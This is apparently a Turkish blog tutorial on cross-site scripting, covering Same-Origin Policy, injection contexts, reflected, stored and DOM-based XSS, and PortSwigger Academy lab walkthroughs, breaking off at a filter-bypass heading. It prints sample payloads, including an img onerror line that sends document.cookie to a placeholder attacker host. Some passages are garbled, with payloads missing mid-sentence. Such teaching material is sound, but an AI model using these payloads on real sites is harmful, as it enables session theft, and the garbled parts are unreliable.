August 9, 2026
XSS (Çapraz Site Komut Dosyası Çalıştırma)
Bir alışveriş sitesinde ürün yorumlarını okuduğunuzu düşünün. Sayfa gayet normal görünüyor, yorumlar sırayla listelenmiş. Ama yorumlardan…

By MuharremAltmisoglu
24 min read
Bir alışveriş sitesinde ürün yorumlarını okuduğunuzu düşünün. Sayfa gayet normal görünüyor, yorumlar sırayla listelenmiş. Ama yorumlardan birinin içine, gözle fark edilmeyen bir kod parçası eklenmiş. Sayfayı açtığınız anda bu kod, sizin tarayıcınızda ve sizin oturumunuzla, sanki sitenin kendi kodu gibi çalışmaya başlıyor. Siz farkına bile varmadan çerezleriniz çalınabilir, sizin adınıza istek gönderilebilir, hatta hesabınız tamamen ele geçirilebilir. XSS (Cross-Site Scripting) zafiyetinin klasik bir örneği, tam olarak bu.
Bu yazıda XSS'in ne olduğunu, kaç farklı türe ayrıldığını, hangi durumlarda ve nerelerde karşımıza çıktığını, gerçek dünyada ne gibi sonuçlara yol açabildiğini ve geliştiricilerin bu açığı nasıl kapatabileceğini adım adım ele alacağız. Ardından her türü PortSwigger Academy üzerinden pratik örneklerle derinlemesine inceleyeceğiz, filtre bypass tekniklerine değineceğiz ve son olarak savunma yöntemleriyle genel önlemleri ele alacağız.
XSS Nedir?
XSS (Cross-Site Scripting), bir web uygulamasının kullanıcıdan gelen veriyi yeterince denetlemeden sayfaya yansıtması sonucu ortaya çıkan bir zafiyettir. Saldırgan, normalde sadece veri olarak işlenmesi gereken bir alana (yorum kutusu, arama kutusu, profil bilgisi gibi) kod içeren bir girdi yerleştirir. Uygulama bu girdiyi gerektiği gibi kontrol etmeden tarayıcıya gönderdiğinde, tarayıcı bu veriyi metin değil, çalıştırılacak bir komut olarak yorumlar.
Teknik dünyada bu açık CWE-79 koduyla bilinir: "Improper Neutralization of Input During Web Page Generation." Yani sorunun kökü aslında basittir kullanıcıdan gelen veri, güvenilir bir veri gibi işlenmiştir.
XSS'in SQL injection gibi diğer injection zafiyetlerinden temel farkı, hedefinin sunucu değil, tarayıcı olmasıdır. Yani zafiyet server side değil, client side üzerinde aktiftir. Saldırgan sunucudaki veritabanını değil, o sayfayı görüntüleyen kullanıcının tarayıcı oturumunu hedef alır.
Same-Origin Policy ile İlişkisi
Tarayıcılar, farklı kaynaklardan (origin) gelen script'lerin birbirinin verisine erişmesini engellemek için Same-Origin Policy (Aynı Köken Politikası) uygular. Bir origin; protokol, domain ve port bilgisinin üçünün birlikte aynı olmasıyla tanımlanır bunlardan biri bile farklıysa tarayıcı iki sayfayı farklı kaynak sayar ve aralarındaki veri erişimini engeller.
Bunu somutlaştıralım: bankam.com sayfasını açtığınızda, bu sayfa üzerinde çalışan JavaScript sadece bankam.com'a ait çerezlere, local storage verisine ve DOM içeriğine erişebilir. Aynı anda tarayıcınızda açık olan kotusite.com sekmesindeki script, bankam.com'un verisine dokunamaz tarayıcı bunu engeller. Bu izolasyon sayesinde, ziyaret ettiğiniz kötü niyetli bir site, başka sekmelerdeki oturumlarınızı veya verilerinizi çalamaz.
XSS'in bu korumayı anlamsız kılmasının sebebi şudur: saldırganın kodu kotusite.com gibi ayrı bir origin'den hiç çalışmaz. Burada sık yapılan bir yanlış anlaşılmayı netleştirelim: kotusite.com gibi başka bir site, bankam.com'a dışarıdan, origin sınırını aşarak doğrudan etki edemez Same-Origin Policy tam olarak bunu engeller. Saldırgan bankam.com'a dışarıdan saldırmıyor; bankam.com'un kendi input alanlarını (URL parametresi, arama kutusu, yorum alanı gibi) kullanıyor. Yani kod, bankam.com'un dışından değil, bankam.com'un kendi meşru giriş noktalarından, sanki normal bir kullanıcı verisiymiş gibi içeri giriyor sonuçta zafiyeti tetikleyen kod doğrudan bankam.com'un kendi sayfası içine enjekte olmuş oluyor ve tarayıcıda bankam.com origin'i altında çalışıyor.
bankam.com, bu girdiyi sayfaya basarken güvenli şekilde encode etmiyorsa, saldırganın gönderdiği gibi bir kod, bankam.com'un kendi sunucusunun ürettiği normal HTTP yanıtının içinde, sitenin kendi HTML'inin bir parçası olarak kurbanın tarayıcısına ulaşır yani kodu fiilen gönderen bankam.com'un sunucusudur, kurban sayfayı her zamanki gibi bankam.com'dan açmış olur. Zararlı linkin veya formun kurbana ulaştırılması ise tamamen ayrı, önceki bir adımdır ve genellikle sosyal mühendislikle yapılır (bir e-posta, sahte mesaj veya sosyal medya paylaşımı gibi) kodun kendisi bu aşamada hiçbir zaman ayrı bir origin'den çalışmaz, baştan sona bankam.com'un kendi origin'i içinde kalır. Bu enjeksiyonun tam olarak nasıl gerçekleştiğini (reflected/stored/DOM-based farkıyla birlikte) ilerleyen bölümlerde örneklerle göreceğiz.
Tarayıcı açısından bakıldığında saldırganın enjekte ettiği kod ile bankam.com'un kendi yazdığı, zararsız script'i arasında hiçbir fark yoktur çünkü ikisi de fiziksel olarak aynı yerden, bankam.com'un sunucusundan gelmiştir; tarayıcı ikisini de aynı origin'e ait, dolayısıyla eşit derecede güvenilir kabul eder. Sonuç olarak saldırganın kodu, bankam.com'un çerezlerine, oturum bilgilerine ve DOM'una tıpkı sitenin kendi kodu gibi erişebilir.
Buradan şu sonuca varabiliriz: XSS, Same-Origin Policy'yi kırmaz SOP hâlâ tam olarak çalışır, kotusite.com hâlâ bankam.com'un verisine dışarıdan erişemez. XSS'in yaptığı, saldırganın kodunu bankam.com'un içine sokarak, SOP'nin bankam.com'a tanıdığı güveni saldırgana da devretmesidir. Yani SOP bozulmuyor; tam tersine, SOP'nin sağladığı korumanın kendisi saldırganın lehine kullanılabilir hale geliyor çünkü saldırgan artık kurbanın tarayıcısında "güvenilir" origin'in içinden konuşuyor olur.
Context Kavramı: Payload Nerede Çalışır?
Bir XSS payload'ının çalışıp çalışmayacağı, kullanıcı girdisinin hangi bağlamda (context) sayfaya yerleştirildiğine bağlıdır. Aynı payload'ın bir yerde işe yarayıp başka bir yerde yaramamasının sebebi budur. Başlıca context türleri:
- HTML context: Girdi doğrudan HTML gövdesine yazılıyorsa (KULLANICI_GİRDİSİgibi), veya benzer bir etiket enjekte edilebilir.
<div>Merhaba <script>alert(document.cookie)</script></div> <div>Merhaba <script>alert(document.cookie)</script></div>- Attribute context: Girdi bir HTML etiketinin attribute'u içine yazılıyorsa (
), tırnaktan çıkıp onerror gibi bir event handler eklenebilir.
<!-- Orijinal şablon: <img src="KULLANICI_GİRDİSİ"> -->
<!-- Girdi: x" onerror="alert(document.cookie) -->
<img src="x" onerror="alert(document.cookie)"><!-- Orijinal şablon: <img src="KULLANICI_GİRDİSİ"> -->
<!-- Girdi: x" onerror="alert(document.cookie) -->
<img src="x" onerror="alert(document.cookie)">- JavaScript context: Girdi bir bloğu içindeki bir değişkene yazılıyorsa, string'den çıkıp doğrudan JS kodu enjekte edilebilir.
<script>var kullaniciAdi = "";alert(document.cookie);//";</script><script>var kullaniciAdi = "";alert(document.cookie);//";</script>- URL context: Girdi bir href veya src değeri olarak kullanılıyorsa, javascript: protokolü gibi yöntemlerle kod çalıştırılabilir.
<a href="javascript:alert(document.cookie)">tıkla</a><a href="javascript:alert(document.cookie)">tıkla</a>Bu ayrım önemlidir çünkü her context'in kendine özgü kaçış tekniği vardır ve ilerleyen bölümlerde örnekleri incelerken hangi context'te olduğumuza dikkat edeceğiz.
XSS Türleri (Genel Tanıtım)
XSS üç ana türe ayrılır. Bu türler ayrıca saldırının sunucuya uğrayıp uğramamasına göre de sınıflandırılabilir: reflected ve stored sunucu taraflıdır (payload sunucu tarafından işlenir reflected'da aynı yanıt içinde anında geri döner, stored'da ise önce veritabanına kaydedilip daha sonraki bir istekte geri döner), DOM-based ise tamamen istemci taraflıdır (payload hiçbir zaman sunucuya gitmez, sadece tarayıcıda işlenir). Burada sadece tanım seviyesinde değineceğiz; her birinin detaylı işleyişini ve PortSwigger Academy üzerinden canlı örneklerini ilerleyen bölümlerde tekrar ele alacağız.
1. Reflected XSS
Saldırganın payload'ı sunucuda kalıcı olarak saklanmaz; kullanıcının gönderdiği HTTP isteğinin bir parçası olarak sunucuya gider ve sunucu bu veriyi işleyip aynı yanıt içinde geri gönderir yani veriyi "yansıtır". Zafiyetin gerçek bir saldırıda tetiklenmesi için saldırganın payload'ı içeren özel bir link hazırlayıp kurbana ulaştırması gerekir; kurban linke tıkladığında kod, kendi oturumu ve çerezleriyle çalışmaya başlar.Etkisi geçicidir: payload sunucuda hiçbir yerde kalıcı olarak saklanmadığı için, sayfa yenilendiğinde eğer URL aynı kalıyorsa zafiyet yine tetiklenir, ama parametre kaldırılır veya farklı bir sayfaya gidilirse zafiyet bir daha karşımıza çıkmaz.
2. Stored XSS
Saldırganın payload'ı, uygulamanın veritabanına kalıcı olarak kaydedilir (bir yorum, profil bilgisi, forum mesajı gibi). Bu veri daha sonra o sayfayı ziyaret eden her kullanıcıya sunulur. Reflected XSS'ten farklı olarak kurbanın özel bir linke tıklamasına gerek yoktur; sadece ilgili sayfayı görüntülemesi yeterlidir. Bu yüzden etki alanı çok daha geniş ve tehlikelidir.
3. DOM-based XSS
Bu türde zafiyet sunucu tarafında değil, tamamen istemci (client-side) tarafında, tarayıcının JavaScript ile DOM'u (Document Object Model) işlerken oluşur. Sunucuya hiç gitmeyen, innerHTML, document.write gibi fonksiyonlarla güvensiz şekilde işlenen veriler üzerinden tetiklenir. Sunucu logları bu tür saldırılarda genellikle temiz görünür çünkü kötü niyetli veri sunucuya hiç ulaşmamıştır.
Hangi Durumlarda Ortaya Çıkar?
XSS'in ortaya çıkması için genel olarak şu koşulların bir araya gelmesi gerekir:
1. Kullanıcı Girdisinin Doğrudan Sayfaya Yansıtılması
Bir uygulama, kullanıcıdan gelen veriyi "zaten benim isteğim, güvenilirdir" diye düşünüp hiç sorgulamadan aynı yanıt içine yazdığında bu durum ortaya çıkar. Aslında sorun verinin nereden geldiği değil, uygulamanın onu kod mu yoksa düz metin mi olarak işleyeceğine karar vermemesidir encode edilmediği sürece tarayıcı ikisini ayırt edemez. Bu yüzden bir arama kutusunun "aradığınız kelime bulunamadı" gibi anlık, tek seferlik yanıtları en tipik zemindir.
2. Kalıcı Veri Girişi Alanları
Burada güven yanılgısı biraz farklı işler: uygulama, veriyi veritabanına yazarken değil, genellikle daha sonra tekrar ekrana bastığı anda hata yapar. Veritabanı "temiz" bir kaynak gibi görüldüğü için, oradan okunan veri çoğu zaman yeniden kontrolden geçmeden sayfaya gömülür. Sorun bir kere veritabanına girdiğinde bitmiyor, aksine her gösterimde yeniden tetiklenen bir kaynağa dönüşüyor bu da neden stored XSS'in reflected'a göre çok daha geniş kitleye ulaştığını açıklar.
3. Client-Side Render Mantığı
Modern web uygulamaları, sayfanın bir kısmını sunucudan hiç geçirmeden doğrudan tarayıcıda JavaScript ile oluşturur (örneğin URL fragment'ından okunan bir değeri anında ekrana basmak gibi). Bu durumda geleneksel sunucu taraflı güvenlik kontrolleri (input validation, WAF gibi) devreye giremez, çünkü veri sunucuya hiç uğramaz. Güvenlik tamamen istemci tarafındaki kodun, gösterdiği veriyi ne kadar dikkatli işlediğine bağlı kalır.
4. Output Encoding Eksikliği
Bir uygulama kullanıcı girdisini veritabanına güvenli şekilde kaydetse bile, bu veriyi ekrana basarken HTML encoding yapmıyorsa (< yerine < gibi), zafiyet yine ortaya çıkar. Yani sorun çoğu zaman girişte değil, çıkışta (output) encoding yapılmamasından kaynaklanır.
5. Yanlış veya Eksik Filtreleme
Bazı uygulamalar gibi belirli kelimeleri filtrelemeye çalışır, ancak bu blacklist yaklaşımı genellikle yetersiz kalır. Farklı etiketler, event handler'lar veya encoding teknikleriyle bu filtreler atlatılabilir bu konuyu ilerleyen "Filtre Bypass" başlığı altında detaylı işleyeceğiz.
6. Zengin İçerik (Rich Text) Alanları
Kullanıcının HTML formatlama yapabildiği (kalın, italik, link ekleme gibi) editörler, izin verilen etiketler doğru şekilde kısıtlanmazsa XSS için doğrudan bir kapı açar.
Nerelerde Aranır?
XSS zafiyetini test ederken bakılması gereken belli başlı noktalar vardır. Bir uygulamayı incelerken şu alanlara özellikle dikkat edilmelidir:
- Arama kutuları: Girilen kelimenin sonuç sayfasında ("… için sonuç bulunamadı" gibi) veya arama kutusunun kendi value attribute'unda geri basılıp basılmadığı kontrol edilmelidir. Burası genellikle en hızlı test edilebilen noktadır çünkü kayıt/giriş gerektirmez ve sonuç anında görülür.
- URL parametreleri ve query string'ler: Sayfa, URL'deki bir parametreyi (?ref=, ?name=, ?redirect= ) gibi doğrudan ekrana yansıtıyorsa test edilmelidir. Bu parametreler çoğu zaman sadece yönlendirme/analitik amacıyla eklendiği için geliştiriciler tarafından "kullanıcı içeriği" olarak görülmez ve encoding'i atlanır.
- Yorum, mesaj ve forum alanları: Kullanıcının kalıcı içerik girebildiği her yer stored XSS ihtimaline karşı incelenmelidir. Buradaki risk daha yüksektir çünkü kayıtlı/doğrulanmış kullanıcılardan gelen veri, geliştiriciler tarafından genellikle daha "güvenilir" sayılıp daha az sıkı kontrol edilir.
- Profil bilgileri: İsim, biyografi, kullanıcı adı gibi alanlar, bu bilgi başka bir sayfada (ör. admin panelinde, yorum altında, sipariş listesinde) tekrar gösterildiğinde tetiklenebilir. Aynı veri birden fazla farklı ekranda, farklı encoding mantığıyla render edildiği için tek bir alan bile birden fazla zayıf noktayı açığa çıkarabilir.
- HTTP başlıkları (header'lar): User-Agent, Referer, X-Forwarded-For gibi başlıkların loglama panellerinde veya admin arayüzlerinde işlenip işlenmediği kontrol edilmelidir. Header'lar "teknik veri" olarak algılandığı için genellikle kullanıcı girdisi gibi sanitize edilmez, oysa bunlar da tarayıcıdan gönderilen, saldırganın tam kontrolündeki değerlerdir.
- Dosya yükleme alanları: Yüklenen dosyanın adı veya içeriği (özellikle SVG gibi HTML/JS barındırabilen dosya türleri) başka bir yerde görüntüleniyorsa risklidir. Yükleme kontrolleri genellikle dosya türü/boyutuna odaklanır, dosyanın adının veya içeriğinin sonradan nasıl render edileceği çoğu zaman güvenlik değerlendirmesinin dışında kalır.
- URL fragment'ı (# sonrası) ve location.search: Sunucuya hiç gitmeyen, tamamen client-side JavaScript ile işlenen bu değerler DOM-based XSS için ilk bakılması gereken yerlerdendir. Test etmenin yolu sunucu isteklerini değil, tarayıcının geliştirici konsolunu ve sayfa kaynağındaki innerHTML/document.write kullanımlarını incelemektir.
- Hata mesajları: "X değeri geçersiz" gibi mesajlarda kullanıcının gönderdiği değerin aynen tekrar edilip edilmediği önemli bir ipucudur. Hata yönetimi kodu genellikle uygulamanın geri kalanından ayrı, sonradan eklenmiş bir katmandır — bu yüzden güvenlik incelemesinde gözden kaçması diğer alanlara göre daha olasıdır.
- Zengin metin (rich text) editörleri: Kalın, italik, link gibi formatlama sunan alanlarda izin verilen HTML etiketlerinin sınırları test edilmelidir. Burada tam encoding uygulanamaz çünkü bir miktar HTML'e bilinçli olarak izin verilir; bu da genellikle eksik kalan bir whitelist/blacklist mantığına dayanır ve atlatmaya en açık alanlardan biridir.
Bu noktalar, ilerleyen bölümlerde PortSwigger Academy üzerinden örnekleri incelerken de referans alacağımız pratik bir kontrol listesi niteliğindedir.
Şimdi türlerimizi tek tek, detaylı ve örneklendirerek inceleyelim.
Reflected XSS — Detaylı Anlatım
Reflected XSS'te saldırganın payload'ı sunucuya hiç kaydedilmez; kullanıcının gönderdiği isteğin bir parçası olarak sunucuya gider, sunucu bu veriyi işleyip aynı yanıt içinde geri gönderir. Bunu bir örnek üzerinden adım adım takip edelim.
Diyelim ki magaza.com sitesinde bir arama kutusu var ve arama sonucu bulunamadığında sayfa "X için sonuç bulunamadı" mesajı gösteriyor; burada X, arattığınız kelimenin URL'deki ?q= parametresinden alınıp doğrudan sayfaya basılan halidir.
1. Saldırgan payload'ı hazırlar. Saldırgan, q parametresine normal bir arama kelimesi yerine bir script yerleştirir: https://magaza.com/ara?q= Dikkat edilmesi gereken nokta: bu link hâlâ magaza.com domain'ine gidiyor sadece q parametresinin değeri değişmiş durumda. Domain sahte değildir, bu yüzden kurban linke güvenebilir.
2. Sunucu bu değeri "kabul eder" ama bu başlı başına zafiyet değildir. URL parametresine ne yazarsan yaz sunucu bunu alır; bir parametreye script benzeri bir metin yazılabilmesi normaldir, çünkü parametre değeri zaten keyfi bir string'dir. Asıl sorun, sunucunun bu değeri sayfaya basarken encode etmemesidir yani < karakterini < gibi güvenli hale getirmeden doğrudan HTML'e yazmasıdır. Zafiyet burada, girdinin kabul edilmesinde değil, çıktının (output) güvenli şekilde işlenmemesinde ortaya çıkar.
3. Saldırgan linki kurbana ulaştırır. E-posta, sahte kampanya mesajı, sosyal medya paylaşımı veya kısaltılmış link (bit.ly gibi) üzerinden bu URL kurbana gönderilir.
4. Kurban linke tıklar oturum açması gerekmez. Burada kritik nokta şu: kurbanın linke tıkladığı anda "giriş yapması" gerekmiyor. Zaten magaza.com'da önceden açılmış, aktif bir oturumu (session) varsa (tarayıcısında geçerli bir session çerezi duruyorsa), tarayıcı bu isteği otomatik olarak o oturuma ait çerezlerle gönderir. XSS, login işlemini tetiklemez; mevcut oturumun üzerinden çalışır.
5. Sunucu yanıtı üretir, tarayıcı script'i çalıştırır. Sunucu, q parametresini "… için sonuç bulunamadı" mesajına encode etmeden gömüp yanıtı gönderir. Kurbanın tarayıcısı bu HTML'i işlerken
6. Çerezler çalınır. Çalışan kod, document.cookie ile kurbanın oturum çerezini okur ve bunu saldırganın kendi sunucusuna (saldirgan.com) gönderir. Saldırgan bu çerezi kendi tarayıcısına yerleştirerek kurbanın oturumunu ele geçirebilir kurbanın şifresini bilmesine gerek kalmadan.
7. Etkisi geçicidir. Payload sunucuda hiçbir yerde kalıcı olarak saklanmaz; sayfa yenilendiğinde eğer URL aynı kalıyorsa zafiyet yine tetiklenir, ama parametre kaldırılır veya farklı bir sayfaya gidilirse zafiyet bir daha karşımıza çıkmaz kalıcılık olmaması, zafiyetin ortaya çıkmasının her zaman payload'ı içeren o URL'ye bağlı kalması anlamına gelir.
PortSwigger Academy Lab Çözümü
Lab'a giriş yapıp hedef siteyi açtığımızda karşımıza bir blog sitesi çıkıyor, üstte bir arama kutusu, altında ise blog yazıları listeleniyor.
Blog yazılarından birinin içine girdiğimizde, sayfanın alt kısmında bir yorum formu olduğunu görüyoruz yorum, isim, e-posta ve website alanlarından oluşuyor. İlk denememizi buradaki input alanlarına yaptık: hem yorum kutusuna hem isim alanına reflected XSS payload'ı olan 'i girip formu gönderdik.
Ancak burada beklediğimiz sonuç çıkmadı: yorumu gönderdiğimizde payload çalışmadı, sadece düz metin olarak yorum listesine kaydedildi ve ekranda olduğu gibi göründü yani etiketi çalıştırılabilir kod olarak değil, sıradan bir yazı olarak işlendi. Bu, yorum formunun (bu lab özelinde) bu tür bir payload'a karşı savunmasız olmadığını gösterdi.
<picture> <source media="(max-width: 768px)" srcset="/img/medium/700/1*rtkuKFUUa4vQDoLIqySkxw.png 1x"> <source media="(min-width: 769px)" srcset="/img/medium/2000/1*rtkuKFUUa4vQDoLIqySkxw.png 1x"> <img src="/img/medium/700/1*rtkuKFUUa4vQDoLIqySkxw.png" alt="None" width="973" height="652" loading="lazy" data-zoom-src="/img/medium/4000/1*rtkuKFUUa4vQDoLIqySkxw.png" class="prose-image"/> </picture>Ardından blog sayfasının ana ekranındaki blog ismi arama kısmındaki input alanına aynı payload'ı denedik: <script>alert(1)</script>.
"Search"e bastığımızda sonuç bu kez farklı oldu tarayıcı doğrudan bir alert penceresi açtı ve içinde "1" yazısı çıktı. Bu, arama kutusuna girilen değerin sunucu tarafından hiç encode edilmeden sayfaya geri yansıtıldığını ve script'in tarayıcıda gerçekten çalıştığını kanıtlıyor.
Bu sonuç, yazının başında magaza.com üzerinden anlattığımız Reflected XSS senaryosunun birebir gerçek dünyadaki karşılığı: arama terimi sunucu tarafından hiç encode edilmeden HTML'e gömülmüş, tarayıcı da bunu düz metin değil, çalıştırılabilir kod olarak yorumlamış.
Stored XSS — Detaylı Anlatım
Stored XSS'te saldırganın payload'ı, tıpkı normal bir kullanıcı içeriği gibi uygulamanın veritabanına kalıcı olarak yazılır. Bunu bir örnek üzerinden takip edelim.
Diyelim ki magaza.com bir ürün sayfasında müşteri yorumlarına izin veriyor ve her yorum, veritabanına kaydedildikten sonra o ürünü görüntüleyen her ziyaretçiye aynen gösteriliyor.
1. Saldırgan payload'ı yorum olarak gönderir. Normal bir yorum yazacakmış gibi davranıp yorum kutusuna şunu yazar: Ürün güzelmiş Herhangi bir özel link hazırlamasına veya kurbanı bir yere yönlendirmesine gerek yoktur saldırı tamamen sitenin kendi arayüzü üzerinden, tek seferlik bir form gönderimiyle başlar.
2. Sunucu bu veriyi olduğu gibi kaydeder. Uygulama, yorum metnini herhangi bir filtrelemeden geçirmeden veritabanına yazar. Bu noktada payload artık sunucuda kalıcı hale gelmiştir; saldırganın tekrar bir şey yapmasına gerek kalmamıştır.
3. Başka bir kullanıcı ürün sayfasını ziyaret eder. Reflected XSS'ten temel fark tam olarak buradadır: kurbanın özel bir linke tıklaması gerekmez, sadece o ürün sayfasını normal şekilde açması yeterlidir.
4. Sunucu yorumu sayfaya basar, tarayıcı script'i çalıştırır. Sunucu veritabanındaki yorumu okuyup encode etmeden HTML'e gömdüğü için, kurbanın tarayıcısı
5. Çerezler çalınır, saldırı kendi kendine yayılır. Kod çalıştığında document.cookie okunup saldırganın sunucusuna gönderilir. Ama asıl fark burada ortaya çıkar: bu yorum silinmediği sürece, sayfayı gören her yeni ziyaretçi için aynı şey tekrar tekrar gerçekleşir. Saldırganın tek bir yorum yazması, potansiyel olarak yüzlerce/binlerce kullanıcının oturumunu tehlikeye atabilir.
6. Etkisi kalıcıdır. Reflected XSS'te payload bir isteklik ömre sahipken, stored XSS'te zafiyet payload veritabanından silinene kadar aktif kalır bu yüzden etki alanı çok daha geniş ve tehlikelidir. Eğer payload bir admin panelinde görüntülenen bir alana (kullanıcı şikayeti, sipariş notu gibi) yerleştirilebiliyorsa, hedef doğrudan yüksek yetkili bir hesap da olabilir.
PortSwigger Academy Lab Çözümü
Lab'a giriş yapıp hedef siteyi açtığımızda karşımıza bir blog sitesi çıkıyor ve ekranın genelinde değişik konular hakkında bloglar listeleniyor.
Bloglardan birinin içine girip aşağı indiğimizde yorum bölümüne ulaşıyoruz. Reflected lab'da denediğimiz gibi hem comment hem de name alanına aynı payload'ı girdik: .
"Post Comment"e bastığımızda sayfa "Thank you for your comment!" mesajıyla bizi karşıladı, ama asıl önemlisi sağ üstteki lab durumu göstergesiydi: LAB Solved yazısı yeşile dönmüştü, yani payload'ımız gerçekten çalışmıştı.
"Back to blog" linkine bastığımız an bir alert penceresi açıldı ve içinde "1" yazısı çıktı bu, Reflected'daki gibi tek seferlik bir tetiklenme değildi. O blog yazısına her girdiğimizde (sayfa her yüklendiğinde) alert kendiliğinden, hiçbir ek işlem yapmadan tekrar tekrar açılıyordu.
Yorumlar listesine baktığımızda, payload'ını hem comment hem de name alanına yazmıştık, ama listede sadece name alanındaki payload düz metin olarak görünüyordu (Reflected lab'daki denememizde olduğu gibi) yine çalışmadı, sadece düz metin olarak kaldı. Comment alanına yazdığımız payload ise ekranda görünür bir metin bırakmadı, çünkü html içeriğinde javascript olarak renderlanıp çalışmış ve alert'i tetiklemişti.
Bu davranış, yazının Stored XSS bölümünde anlattığımız kalıcılık farkını gözler önüne seriyor: payload veritabanına bir kere kaydedildikten sonra, o sayfayı her ziyaret eden için (bizim durumumuzda her sayfa yenilemesinde) tekrar tekrar tetikleniyor. Reflected'daki gibi tek seferlik, linke bağlı bir tetiklenme değil, sayfanın kendisine yapışmış, kalıcı bir tetiklenme söz konusu.
DOM-based XSS — Detaylı Anlatım
DOM-based XSS diğer iki türe göre kafa karıştırıcı gelebilir, çünkü sunucu bu sürece hiç dahil olmaz zafiyet tamamen tarayıcı içinde, JavaScript'in sayfayı güncellerken yaptığı bir hatadan kaynaklanır. Basit bir örnekle açalım.
Diyelim ki magaza.com/hosgeldin.html sayfası, ziyaretçiyi ismiyle karşılamak için URL'nin # sonrasındaki (fragment) kısmını okuyup ekrana yazan şu JavaScript kodunu kullanıyor:
document.getElementById('mesaj').innerHTML = location.hash.substring(1);document.getElementById('mesaj').innerHTML = location.hash.substring(1);Yani magaza.com/hosgeldin.html#Ahmet adresine gidildiğinde sayfada "Ahmet" yazısı beliriyor. Sorun şu: bu kod, #'dan sonraki her şeyi hiç kontrol etmeden doğrudan sayfaya (innerHTML'e) yazıyor.
1. Saldırgan payload'ı # sonrasına yerleştirir. Normal bir isim yerine şunu yazar: magaza.com/hosgeldin.html#<img src=x onerror=fetch('https://saldirgan.com/calindi?c='+document.cookie)>
2. Bu link kurbana ulaştırılır (e-posta, mesaj vb.) tıpkı reflected XSS'te olduğu gibi.
3. Kurban linke tıklar, sayfa normal şekilde yüklenir. Burada önemli bir ayrıntı var: # sonrasındaki kısım tarayıcı tarafından sunucuya hiç gönderilmez bu, tarayıcıların standart davranışıdır. Yani sunucu bu isteği aldığında ?q=… gibi bir parametre görmez, sadece hosgeldin.html isteği gelir. Bu yüzden sunucu logları tamamen temiz görünür; saldırı, sunucunun haberi bile olmadan gerçekleşir.
4. Sayfa yüklendikten sonra JavaScript devreye girer. Yukarıdaki kod çalışır, location.hash'i okur ve içeriğini hiç kontrol etmeden innerHTML'e yazar. Tarayıcı bunu HTML olarak yorumlar, etiketi geçersiz bir kaynağa (x) yüklenmeye çalışır, başarısız olur ve onerror tetiklenir.
5. Çerezler çalınır. onerror içindeki kod çalışıp document.cookie'yi okuyup saldırganın sunucusuna gönderir sonuç, reflected/stored XSS'teki ile aynıdır, ama yol tamamen farklıdır: sunucu hiçbir aşamada devreye girmemiştir.
Bu yüzden DOM-based XSS'in tespiti klasik sunucu taraflı loglama veya WAF çözümleriyle zordur; testin tarayıcı tarafında, geliştirici araçları (DevTools) ile, innerHTML/document.write/eval gibi fonksiyonların hangi veriyi işlediğine bakılarak yapılması gerekir.
PortSwigger Academy Lab Çözümü
Lab'a giriş yapıp hedef siteyi açtığımızda yine bir blog sitesiyle karşılaşıyoruz.
Önce Stored lab'da yaptığımız gibi, blog içindeki yorum ekleme kısmındaki input alanlarında denedik, ama hiçbir sonuç alınamadı bu lab özelinde yorum alanları bu tür bir payload'a karşı savunmasız olmadığı anlaşıldı. Bunun üzerine lab'ın giriş ekranındaki blog arama input alanına yöneldik ve orada test etmeye başladık.
İlk denememiz yine oldu.
"Search"e bastığımızda alert açılmadı; sayfa sadece "0 search results for" yazan boş bir sonuç ekranı gösterdi. Yani bu sefer etiketi çalışmadı.
<picture> <source media="(max-width: 768px)" srcset="/img/medium/700/1*XDobW7VoyIs-sMQbDqU_Vg.png 1x"> <source media="(min-width: 769px)" srcset="/img/medium/2000/1*XDobW7VoyIs-sMQbDqU_Vg.png 1x"> <img src="/img/medium/700/1*XDobW7VoyIs-sMQbDqU_Vg.png" alt="None" width="1050" height="326" loading="lazy" data-zoom-src="/img/medium/4000/1*XDobW7VoyIs-sMQbDqU_Vg.png" class="prose-image"/> </picture>Bunun sebebi, DOM-based bölümünde anlattığımız mekanizmayla ilgili: tarayıcılar, innerHTML üzerinden sayfaya sonradan eklenen payload'ını denedik.
Bu sefer sonuç farklı oldu — tarayıcı bir alert penceresi açtı ve içinde "1" yazısı çıktı.
Sonuç sayfasına döndüğümüzde "1 search results for" yazısının yanında kırık bir resim simgesi beliriyor. Bunun sebebi, payload'ının artık düz metin değil, gerçek bir HTML etiketi olarak DOM'a yazılmış olması tarayıcı bunu gerçek bir
elementi olarak render etmeye çalışıyor, src="1" geçersiz bir kaynak olduğu için resmi yükleyemiyor ve yerine standart "resim yüklenemedi" simgesini gösteriyor. Bu simge aslında onerror'ın neden tetiklendiğinin görsel kanıtı: resim yüklenemediği için hata oluşuyor, hata oluştuğu için de onerror içindeki alert(1) çalışıyor.
Bunu doğrulamak için sayfanın kaynak koduna baktık ve location.search'ü okuyup innerHTML'e yazan satırı bulduk: document.getElementById('searchMessage').innerHTML = query;
Bu sonuç, yazının DOM-based bölümünde anlattığımız senaryonun gerçek karşılığı: arama kutusuna girilen değer sunucuya hiç gitmeden, tamamen tarayıcıda location.search'ten okunup encode edilmeden innerHTML'e yazılıyor. gibi bir event handler'a geçmesi gerekiyor; tıpkı Filtre Bypass bölümünde anlattığımız "alternatif etiketler" mantığında olduğu gibi
Yaygın XSS Vektörleri
Şimdiye kadarki örneklerde
- <script> etiketleri: En yaygın ve en doğrudan vektör daha önceki örneklerde kullandığımız gibi, içine herhangi bir JavaScript kodu yazılabilir.
özellikleri: onerror gibi özellikler (DOM-based örneğimizde gördüğümüz gibi) saldırganın JavaScript kodu çalıştırmasına izin verebilir.
- Başka bir web sayfasını mevcut sayfanın içine gömerek kullanılabilir örneğin saldırganın kendi sunucusundaki bir sayfayı, kurbanın gördüğü sayfanın içine yerleştirip kurbanı orada sahte bir forma yönlendirebilir.
- <input> etiketleri: Kullanıcı girdisi alanları XSS saldırılarında sık kullanılır; etiketinin kendisi (örneğin onfocus gibi bir attribute üzerinden) enjeksiyon noktası olabilir.
- (link) etiketleri: Context bölümünde gördüğümüz javascript: protokolü gibi yöntemlerle, link etiketleri de bir XSS vektörü olarak kullanılabilir.
- ve
arka plan özelliği: Bu etiketlerin background özelliği, script filtrelerinin genellikle kontrol etmediği bir yoldan kod çalıştırmak için kullanılabilir. etiketleri: Kullanıcı girdilerini barındıranetiketleri de, içine güvensiz veri yazıldığında bir XSS açığına dönüşebilir.- etiketleri: Harici içerik yüklemek için kullanılan bu etiket, potansiyel bir XSS vektörü olarak değerlendirilir.
Bu çeşitlilik, tam olarak Filtre Bypass bölümünde göreceğimiz sorunun kaynağıdır: bir filtre yalnızca
Filtre Bypass
